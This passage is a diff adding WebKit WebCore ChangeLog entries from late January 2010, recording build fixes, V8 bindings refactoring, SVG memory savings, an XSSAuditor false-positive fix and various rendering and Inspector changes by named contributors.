+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        (WebCore::V8WebSocket::constructorCallback):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::V8Worker::constructorCallback):
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        (WebCore::V8XMLHttpRequest::constructorCallback):
+        * bindings/v8/custom/V8XMLSerializerConstructor.cpp:
+        * bindings/v8/custom/V8XPathEvaluatorConstructor.cpp: Deleted the file. Implementation now being generated.
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp: Deleted the file. Implementation now being generated.
+        (WebCore::V8XSLTProcessor::constructorCallback): Deleted the file. Implementation now being generated.
+        * css/WebKitCSSMatrix.idl: Added CustomConstructor attribute.
+        * dom/MessageChannel.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLArrayBuffer.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLByteArray.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLFloatArray.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLIntArray.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLShortArray.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLUnsignedByteArray.idl: Added CustomConstructor attribute.
+        * html/canvas/WebGLUnsignedIntArray.idl: Added CustomConstructor attribute.
+
+2010-01-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Add stub for AXObjectCache::contentChanged when HAVE(ACCESSIBILITY) is not defined
+        https://bugs.webkit.org/show_bug.cgi?id=34271
+
+        No new tests, build fix only.
+
+        * accessibility/AXObjectCache.cpp: Modified. Added HAVE(ACCESSIBILITY) guards around contentChanged
+        * accessibility/AXObjectCache.h: Modified.
+        (WebCore::AXObjectCache::contentChanged): Added stub
+
+2010-01-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Use long long rather than int64 in V8Binding.h
+        https://bugs.webkit.org/show_bug.cgi?id=34270
+
+        No new tests, build fix only.
+
+        * bindings/v8/V8Binding.h: Modified.
+        (WebCore::toInt64): Returns long long
+
+2010-01-28  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by David Levin.
+
+        Unused variable in ThemeMac (followup to change 49103).
+        https://bugs.webkit.org/show_bug.cgi?id=34274
+
+        Covered by existing tests.
+
+        * platform/mac/ThemeMac.mm:
+        (WebCore::setupButtonCell):
+
+2010-01-28  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Huge plain text pastes are slow
+        <rdar://problem/5195056>
+        https://bugs.webkit.org/show_bug.cgi?id=34237
+
+        No new tests. It is a performance improvement.
+
+        The performance of the plain text paste is now linear.
+        We treat as a special case, a fragment that has been
+        created from plain text. Finding VisiblePositions and
+        applying style is greatly simplified, given the nature of
+        the fragment.
+
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::doApply):
+        * editing/markup.cpp:
+        (WebCore::isPlainTextMarkup):
+        * editing/markup.h:
+
+2010-01-28  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Initialize DOM Storage's quota's current length parameter when we clone it.
+        https://bugs.webkit.org/show_bug.cgi?id=34294
+
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::copy):
+
+2010-01-28  Brent Fulgham  <bfulgham@webkit.org>
+
+        Unreviewed build fix after r53411 on WinCairo.
+
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::frameCount):
+
+2010-01-28  Nayan Kumar K  <nayankk@gmail.com>
+
+        Reviewed by Laszlo Gombos.
+
+        Fix for compilation error in WML enabled build introduced because of the changeset 53514.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34254
+
+        * wml/WMLDocument.cpp:
+        (WebCore::WMLDocument::WMLDocument):
+
+2010-01-28  Alex Milowski  <alex@milowski.com>
+
+        Reviewed by Eric Seidel.
+
+        Update to CSS to remove unnecessary line-height settings
+
+        * css/mathml.css:
+
+2010-01-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Add missing includes for HashMap/HashSet
+        https://bugs.webkit.org/show_bug.cgi?id=34276
+
+        No new tests, build fix only.
+
+        * platform/KURL.cpp: Modified. Include HashMap.h
+        * platform/network/CredentialStorage.cpp: Modified. Include HashMap.h and HashSet.h
+        * platform/network/ProtectionSpaceHash.h: Modified. Include HashTraits.h
+
+2010-01-28  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        Pass cookies to the GStreamer HTTP source
+        https://bugs.webkit.org/show_bug.cgi?id=34003
+
+        Test: http/tests/media/video-cookie.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        When using an appropiate GStreamer HTTP source element, pass
+        the cookies for the media URI to it. This fixes playback of
+        the YouTube HTML5 videos.
+
+2010-01-28  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix after r54022.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObjectImp::createStructure):
+        * bridge/qt/qt_pixmapruntime.cpp:
+        (JSC::Bindings::QtPixmapRuntimeObjectImp::createStructure):
+        * bridge/qt/qt_runtime.h:
+        (JSC::Bindings::QtRuntimeMethod::createStructure):
+
+2010-01-28  Adam Roben  <aroben@apple.com>
+
+        Fix an assertion beneath SerializedScriptValue::deserialize on 32-bit
+        builds (e.g., on Windows)
+
+        Passing a JSValue to toRef on 32-bit builds can perform an allocation,
+        so we need to make sure we hold a JSLock when that occurs.
+
+        Reviewed by Oliver Hunt.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedScriptValueData::serialize):
+        (WebCore::SerializedScriptValueData::deserialize):
+        Moved JSLocks from here...
+
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::deserialize):
+        ...to this higher level, from which toRef can be called.
+
+2010-01-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        DOM Objects shouldn't all require custom mark functions
+        https://bugs.webkit.org/show_bug.cgi?id=34291
+
+        Make DOMObjectWithGlobalPointer use an anonymous slot to store the global object
+        reference.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::globalObject):
+        (WebCore::DOMObjectWithGlobalPointer::scriptExecutionContext):
+        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
+
+2010-01-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Simplify anonymous slot implementation
+        https://bugs.webkit.org/show_bug.cgi?id=34282
+
+        Update the WebCore JS DOM bindings to correctly pass and
+        propagate the anonymous slot count information.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::createStructure):
+        (WebCore::DOMConstructorObject::createStructure):
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::createStructure):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/objc/objc_runtime.h:
+        (JSC::Bindings::ObjcFallbackObjectImp::createStructure):
+        * bridge/runtime_array.h:
+        (JSC::RuntimeArray::createStructure):
+        * bridge/runtime_method.h:
+        (JSC::RuntimeMethod::createStructure):
+        * bridge/runtime_object.h:
+        (JSC::RuntimeObjectImp::createStructure):
+
+2010-01-27  Evan Martin  <evan@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] hebrew vowel marks incorrectly positioned
+        https://bugs.webkit.org/show_bug.cgi?id=34234
+
+        Fix glyph metrics computation such that the glyph offsets
+        are correct, so we can now make use of them.
+
+        Test: fast/text/international/hebrew-vowels.html
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::TextRunWalker::createGlyphArrays): initialize per-glyph
+        offset table.
+        (WebCore::TextRunWalker::setGlyphXPositions): use per-glyph
+        offsets.
+        * platform/graphics/chromium/HarfbuzzSkia.cpp:
+        (WebCore::getGlyphMetrics): fix metrics computation such that
+        per-glyph offsets are computed correctly.
+
+2010-01-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed build fix.
+
+        [Qt] Build fix if websockets support is turned off after r53947.
+
+        * WebCore.pro:
+
+2010-01-28  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r54012.
+        http://trac.webkit.org/changeset/54012
+        https://bugs.webkit.org/show_bug.cgi?id=34266
+
+        Introduced 33 crashes in V8 traversal/ tests.
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptState.cpp:
+        * bindings/js/ScriptState.h:
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        (WebCore::ScriptController::currentScriptState):
+        (WebCore::ScriptController::clearWindowShell):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptScope.cpp:
+        (WebCore::ScriptScope::ScriptScope):
+        (WebCore::ScriptScope::success):
+        * bindings/v8/ScriptScope.h:
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::scriptStateFromPage):
+        * bindings/v8/ScriptState.h:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::ScriptState::frame):
+        * bindings/v8/V8HiddenPropertyName.h:
+        * bindings/v8/V8IsolatedContext.cpp:
+        (WebCore::V8IsolatedContext::scriptState):
+        * bindings/v8/V8IsolatedContext.h:
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::getScriptExecutionContext):
+        (WebCore::reportException):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::V8NodeIterator::nextNodeCallback):
+        (WebCore::V8NodeIterator::previousNodeCallback):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::V8TreeWalker::parentNodeCallback):
+        (WebCore::V8TreeWalker::firstChildCallback):
+        (WebCore::V8TreeWalker::lastChildCallback):
+        (WebCore::V8TreeWalker::nextNodeCallback):
+        (WebCore::V8TreeWalker::previousNodeCallback):
+        (WebCore::V8TreeWalker::nextSiblingCallback):
+        (WebCore::V8TreeWalker::previousSiblingCallback):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::injectedScriptForNodeId):
+
+2010-01-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Fix missing forward-declarations and includes in V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=34272
+
+        No new tests, build fix only.
+
+        * bindings/v8/ScriptController.h: Modified. Forward-declare NPObject
+        * bindings/v8/V8DOMWindowShell.cpp: Modified. Include CString.h and PlatformBridge.h
+        * bindings/v8/V8DOMWrapper.h: Modified. Forward-declare V8Proxy
+
+2010-01-28  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Remove ScriptState::frame which is only used for reporting exceptions
+        in some cases in a way that diverges from the regular exception reporting in
+        v8 bindings.
+        
+        Cache ScriptState directly on v8::Context instead of providing
+        implementations specific for isolated worlds and ScriptController.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34266
+
+        * bindings/js/ScriptController.cpp:
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptState.cpp:
+        (WebCore::mainWorldScriptState):
+        * bindings/js/ScriptState.h:
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::clearWindowShell):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptScope.cpp:
+        (WebCore::ScriptScope::ScriptScope):
+        (WebCore::ScriptScope::success):
+        * bindings/v8/ScriptScope.h:
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::ScriptState::forContext):
+        (WebCore::ScriptState::current):
+        (WebCore::ScriptState::empty):
+        (WebCore::ScriptState::weakReferenceCallback):
+        (WebCore::mainWorldScriptState):
+        (WebCore::scriptStateFromPage):
+        * bindings/v8/ScriptState.h:
+        * bindings/v8/V8HiddenPropertyName.h:
+        * bindings/v8/V8IsolatedContext.cpp:
+        * bindings/v8/V8IsolatedContext.h:
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::getScriptExecutionContext):
+        (WebCore::reportException):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::V8NodeIterator::nextNodeCallback):
+        (WebCore::V8NodeIterator::previousNodeCallback):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::V8TreeWalker::parentNodeCallback):
+        (WebCore::V8TreeWalker::firstChildCallback):
+        (WebCore::V8TreeWalker::lastChildCallback):
+        (WebCore::V8TreeWalker::nextNodeCallback):
+        (WebCore::V8TreeWalker::previousNodeCallback):
+        (WebCore::V8TreeWalker::nextSiblingCallback):
+        (WebCore::V8TreeWalker::previousSiblingCallback):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::injectedScriptForNodeId):
+
+2010-01-28  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        Remove XSSAuditor false positive for Google Translate
+        https://bugs.webkit.org/show_bug.cgi?id=34242
+
+        Google translate takes a base URL as a parameter, causing a false
+        positive in the XSS filter.  This patch removes the false positive by
+        allowing direct injections into the href property of the base tag.
+
+        Test: http/tests/security/xssAuditor/base-href-direct.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canSetBaseElementURL):
+
+2010-01-28  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Save additional memory in SVG*Element classes, by introducing SVGElementRareData
+        https://bugs.webkit.org/show_bug.cgi?id=34268
+
+        Introduce SVGElementRareData, to remove the need to store any members in SVGElement/SVGStyledElement.
+        This saves some additional MB for the svg-node-count-vs-scroll.xhtml testcase.
+
+        SVGElementRareData works just like NodeRareData. Unlike ElementRareData, we're not inheriting from
+        NodeRareData in SVG, as we don't need all the rare data stored there, unlike Element.
+
+        * GNUmakefile.am: Add SVGElementRareData.h to build.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * dom/Node.cpp: Use Nodes bitfield to keep track wheter a SVGElement has a SVGElementRareData object associated.
+        (WebCore::Node::Node):
+        * dom/Node.h: Add m_hasRareSVGData flag, merged with the existing bitfield, 10 bits remaining now.
+        (WebCore::Node::hasRareSVGData):
+        * svg/SVGAnimateMotionElement.cpp: SVGElement::instancesForElement() now returns a const-reference to the HashMap instead of copying.
+        (WebCore::SVGAnimateMotionElement::applyResultsToTarget):
+        * svg/SVGAnimateTransformElement.cpp: Ditto.
+        (WebCore::SVGAnimateTransformElement::applyResultsToTarget):
+        * svg/SVGAnimationElement.cpp: Ditto.
+        (WebCore::SVGAnimationElement::setTargetAttributeAnimatedValue):
+        * svg/SVGElement.cpp: Move the element instances HashSet and two cursor-related pointers into SVGElementRareData.
+        (WebCore::SVGElement::SVGElement):
+        (WebCore::SVGElement::~SVGElement):
+        (WebCore::SVGElement::rareSVGData): Modelled just like Node::rareData().
+        (WebCore::SVGElement::ensureRareSVGData): Dito.
+        (WebCore::SVGElement::accessDocumentSVGExtensions):
+        (WebCore::SVGElement::mapInstanceToElement): Route call through SVGElementRareData.
+        (WebCore::SVGElement::removeInstanceMapping): Ditto.
+        (WebCore::SVGElement::instancesForElement): Ditto.
+        (WebCore::SVGElement::setCursorElement): Ditto.
+        (WebCore::SVGElement::setCursorImageValue): Ditto.
+        * svg/SVGElement.h:
+        * svg/SVGElementInstance.cpp: Ditto.
+        (WebCore::SVGElementInstance::invalidateAllInstancesOfElement):
+        * svg/SVGElementRareData.h: Added. Based on NodeRareData - works exactly the same.
+        (WebCore::SVGElementRareData::SVGElementRareData):
+        (WebCore::SVGElementRareData::rareDataMap):
+        (WebCore::SVGElementRareData::rareDataFromMap):
+        (WebCore::SVGElementRareData::elementInstances):
+        (WebCore::SVGElementRareData::instanceUpdatesBlocked):
+        (WebCore::SVGElementRareData::setInstanceUpdatesBlocked):
+        (WebCore::SVGElementRareData::cursorElement):
+        (WebCore::SVGElementRareData::setCursorElement):
+        (WebCore::SVGElementRareData::cursorImageValue):
+        (WebCore::SVGElementRareData::setCursorImageValue):
+        * svg/SVGStyledElement.cpp: Move m_instancesUpdatesBlocked into SVGElementRareData.
+        (WebCore::SVGStyledElement::SVGStyledElement):
+        (WebCore::SVGStyledElement::instanceUpdatesBlocked):
+        (WebCore::SVGStyledElement::setInstanceUpdatesBlocked):
+        * svg/SVGStyledElement.h:
+        * svg/SVGUseElement.cpp: Adapt to element instances changes, now passed as const-reference.
+        (WebCore::dumpInstanceTree):
+
+2010-01-28  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Expand the NotificationPresenter::checkPermission() interface to send the full
+        URL of the requesting context, as well as a pointer to the document if that
+        context was a document.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34238
+
+        * notifications/Notification.cpp:
+        (WebCore::Notification::Notification):
+        * notifications/NotificationCenter.cpp:
+        (WebCore::NotificationCenter::NotificationCenter):
+        (WebCore::NotificationCenter::checkPermission):
+        Pass the full URL and document from the requesting context when calling
+        NotificationPresenter::checkPermission().
+        
+        * notifications/NotificationPresenter.h:
+        (WebCore::NotificationPresenter::):
+        Expand interface.
+
+2010-01-28  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Video can overlap position:fixed element when scrolling
+        https://bugs.webkit.org/show_bug.cgi?id=32180
+        
+        When the scroll position changes, and we're using overlap to decide what gets composited,
+        then we need to re-evaluate what gets compositing when scrolling in case fixed postion elements
+        overlap composited elements (e.g. video).
+
+        Test: compositing/geometry/video-fixed-scrolling.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::updateCompositingLayers):
+        (WebCore::FrameView::scrollPositionChanged): Annotate the calls to updateCompositingLayers()
+        with the type of change that occurred.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateCompositingAndLayerListsIfNeeded): Ditto.
+        
+        * rendering/RenderLayerCompositor.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateCompositingLayers): For scroll changes, check
+        for hierarchy update if m_compositingConsultsOverlap is true, and do
+        a geometry update. For other changes, always check for hierarchy updates.
+
+2010-01-27  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for user stylesheet bugs where they get parsed using the wrong compatibility mode.  This was a regression
+        caused from Safari 3 -> 4 by the Acid3 fixes to create a real DOCTYPE in the DOM.
+
+        This patch makes style selector creation lazy, so that the selector isn't built unless someone asks for it.
+
+        In order to avoid creating the style selector before the compatibility mode has been determined, document
+        style is now created without having a dependence on an instantiated style selector.  The creation of the style
+        is now done as a static method on CSSStyleSelector called styleForDocument, and a couple of font-related
+        functions have been made static as well so that they can be used by this method.
+
+        m_styleSelector on Document is now an OwnPtr.
+
+        Added userscripts/mixed-case-stylesheet.html
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::styleForDocument):
+        (WebCore::CSSStyleSelector::applyProperty):
+        (WebCore::CSSStyleSelector::checkForGenericFamilyChange):
+        (WebCore::CSSStyleSelector::setFontSize):
+        (WebCore::CSSStyleSelector::getComputedSizeFromSpecifiedSize):
+        (WebCore::CSSStyleSelector::fontSizeForKeyword):
+        * css/CSSStyleSelector.h:
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::~Document):
+        (WebCore::Document::recalcStyle):
+        (WebCore::Document::createStyleSelector):
+        (WebCore::Document::attach):
+        (WebCore::Document::setVisuallyOrdered):
+        (WebCore::Document::recalcStyleSelector):
+        * dom/Document.h:
+        (WebCore::Document::styleSelector):
+        (WebCore::Document::visuallyOrdered):
+        * html/HTMLDocument.cpp:
+        (WebCore::HTMLDocument::determineParseMode):
+        * loader/PlaceholderDocument.cpp:
+        (WebCore::PlaceholderDocument::attach):
+
+2010-01-28  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Rename ISODateTime.{cpp,h} to DateComponents.{cpp,h}
+        https://bugs.webkit.org/show_bug.cgi?id=34245
+
+        No functional changes.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * html/DateComponents.cpp: Copied from WebCore/html/ISODateTime.cpp.
+        (WebCore::DateComponents::maxWeekNumberInYear):
+        (WebCore::DateComponents::parseYear):
+        (WebCore::DateComponents::addDay):
+        (WebCore::DateComponents::addMinute):
+        (WebCore::DateComponents::parseTimeZone):
+        (WebCore::DateComponents::parseMonth):
+        (WebCore::DateComponents::parseDate):
+        (WebCore::DateComponents::parseWeek):
+        (WebCore::DateComponents::parseTime):
+        (WebCore::DateComponents::parseDateTimeLocal):
+        (WebCore::DateComponents::parseDateTime):
+        (WebCore::DateComponents::setMillisecondsSinceMidnightInternal):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForDateInternal):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForDate):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForDateTime):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForDateTimeLocal):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForMonth):
+        (WebCore::DateComponents::setMillisecondsSinceMidnight):
+        (WebCore::DateComponents::setMillisecondsSinceEpochForWeek):
+        (WebCore::DateComponents::millisecondsSinceEpochForTime):
+        (WebCore::DateComponents::millisecondsSinceEpoch):
+        (WebCore::DateComponents::toStringForTime):
+        (WebCore::DateComponents::toString):
+        * html/DateComponents.h: Copied from WebCore/html/ISODateTime.h.
+        (WebCore::DateComponents::DateComponents):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseToDouble):
+        (WebCore::HTMLInputElement::valueAsDate):
+        (WebCore::HTMLInputElement::setValueAsDate):
+        (WebCore::HTMLInputElement::setValueAsNumber):
+        (WebCore::HTMLInputElement::formStringToDateComponents):
+        * html/HTMLInputElement.h:
+        * html/ISODateTime.cpp: Removed.
+        * html/ISODateTime.h: Removed.
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+
+2010-01-28  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Use platform-specific monospace fonts in the Web Inspector
+
+        Move the OS version detection code into the frontend,
+        add custom CSS monospace styles for known platforms.
+        https://bugs.webkit.org/show_bug.cgi?id=34040
+
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::platform):
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.releaseWrapperObjectGroup):
+        (.WebInspector.InspectorBackendStub.prototype.setInjectedScriptSource):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._createConditionElement):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.URLRegExp.i.get platform):
+        (WebInspector._detectPlatform):
+
+2010-01-28  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Simplify views logic in Profiler panel, and fix the problem described in the issue.
+        Remove image from Welcome view.
+        Preserve border on status bar-like buttons in Welcome view on window deactivation.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34201
+
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.show):
+        (WebInspector.ProfilesPanel.prototype.reset):
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        (WebInspector.ProfilesPanel.prototype.showView):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        * inspector/front-end/WelcomeView.js:
+        (WebInspector.WelcomeView):
+        * inspector/front-end/inspector.css:
+
+2010-01-18  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Speed up KURL to QUrl conversion
+        https://bugs.webkit.org/show_bug.cgi?id=33873
+
+        The WebCore::String::utf8 method will use the generic WebCore::TextCodec
+        and then call the encode method on it. In QtWebKit this class is implemented
+        around the QTextCodec class. Instead of going the generic codec way we treat
+        the WebCore::String as a QString (no copying) and then use the built-in
+        QString::toUtf8 to do the conversion.
+
+        * platform/qt/KURLQt.cpp:
+        (WebCore::KURL::operator QUrl):
+
+2010-01-28  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Android] [Qt] Touch event page co-ordinates are incorrect when touch is received in an iframe.
+        https://bugs.webkit.org/show_bug.cgi?id=34162
+
+        The pageX/pageY co-ordinates of a touch event should be relative to the containing frame, not the main frame. This change implements that and also updates the existing touch-inside-iframe test to also examine the page co-ordinates.
+
+        * dom/Touch.cpp:
+        (WebCore::Touch::Touch): Remove dead code.
+        * dom/Touch.h: Remove dead code.
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent): Rename framePoint to pagePoint, as it seems a clearer name. Also adjust the pagePoint to be relative to the touch target element's containing frame rather than the main frame.
+        * platform/PlatformTouchEvent.h: Rename Android specific constructor parameter to better reflect it's contents.
+        * platform/PlatformTouchPoint.h: Ditto.
+        * platform/android/PlatformTouchEventAndroid.cpp: Ditto.
+        * platform/android/PlatformTouchPointAndroid.cpp: Ditto.
+
+2010-01-28  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Simplify isActivation method.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34161
+
+        Test: WebCore/manual-tests/inspector/debugger-scopes-inspection.html
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::isActivation):
+
+2010-01-27  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        rangeOverflow/rangeUnderflow support for type=date
+        https://bugs.webkit.org/show_bug.cgi?id=34209
+
+        Add DATE type support to rangeUnderflow(), rangeOverflow(),
+        minimum(), and maximum() of HTMLInputElement.
+        In order to unify parsing code for value, min, and max strings,
+        introduce parseToDouble() function and it is called by
+        valueAsDate() and valueAsNumber() too.
+
+        Tests: fast/forms/ValidityState-rangeOverflow-date.html
+               fast/forms/ValidityState-rangeUnderflow-date.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::rangeUnderflow): Support DATE type, and use parseToDouble().
+        (WebCore::HTMLInputElement::rangeOverflow): ditto.
+        (WebCore::HTMLInputElement::minimum): ditto.
+        (WebCore::HTMLInputElement::maximum): ditto.
+        (WebCore::HTMLInputElement::doubleValueFor): Added.
+        (WebCore::HTMLInputElement::valueAsDate): Use parseToDouble().
+        (WebCore::HTMLInputElement::valueAsNumber): Use parseToDouble().
+        * html/HTMLInputElement.h: Declare parseToDouble().
+
+2010-01-27  Darin Fisher  <darin@chromium.org>
+
+        Fix chromium build bustage (take 2).
+
+        * bindings/scripts/CodeGeneratorV8.pm: Really treat V8CustomGetter like CustomGetter in all cases.
+
+2010-01-27  Darin Fisher  <darin@chromium.org>
+
+        Fix chromium build bustage.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Treat V8CustomGetter like CustomGetter in all cases.
+
+2010-01-27  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        MessageEvent.data should deserialize in the context of the MessageEvent's global object
+        https://bugs.webkit.org/show_bug.cgi?id=34227
+
+        Make ScriptValue deserialisation support the provision of a specific global
+        object to use when creating new objects.  This then allows us to make
+        MessageEvent.data and PopStateEvent.state deserialize in the correct
+        context.
+
+        Test: fast/dom/Window/window-postmessage-clone-frames.html
+
+        * bindings/js/JSPopStateEventCustom.cpp:
+          Remove custom implementation of state getter
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::DeserializingTreeWalker::DeserializingTreeWalker):
+        (WebCore::DeserializingTreeWalker::createOutputArray):
+        (WebCore::DeserializingTreeWalker::createOutputObject):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+        (WebCore::SerializedScriptValueData::deserialize):
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/scripts/CodeGeneratorJS.pm:
+          Update bindings generation to pass the correct global object, and to
+          treat "any" as synonymous with SerializedValue.
+        * dom/PopStateEvent.idl:
+
+2010-01-27  Nicholas Young  <nicholas.young@nokia.com>
+
+        Reviewed by Eric Carlson.
+
+        Make media controls fade in/out transition duration configurable on a theme level.
+        https://bugs.webkit.org/show_bug.cgi?id=34196
+
+        No new tests needed (I hope).
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::RenderMedia): Removed constant from contructor - the initial value is meaningless.
+        (WebCore::RenderMedia::updateControlVisibility): Get fade in/out duration from theme.
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::mediaControlsFadeInDuration): New virtual method.
+        (WebCore::RenderTheme::mediaControlsFadeOutDuration): New virtual method.
+
+2010-01-27  John Abd-El-Malek  <jam@chromium.org>
+
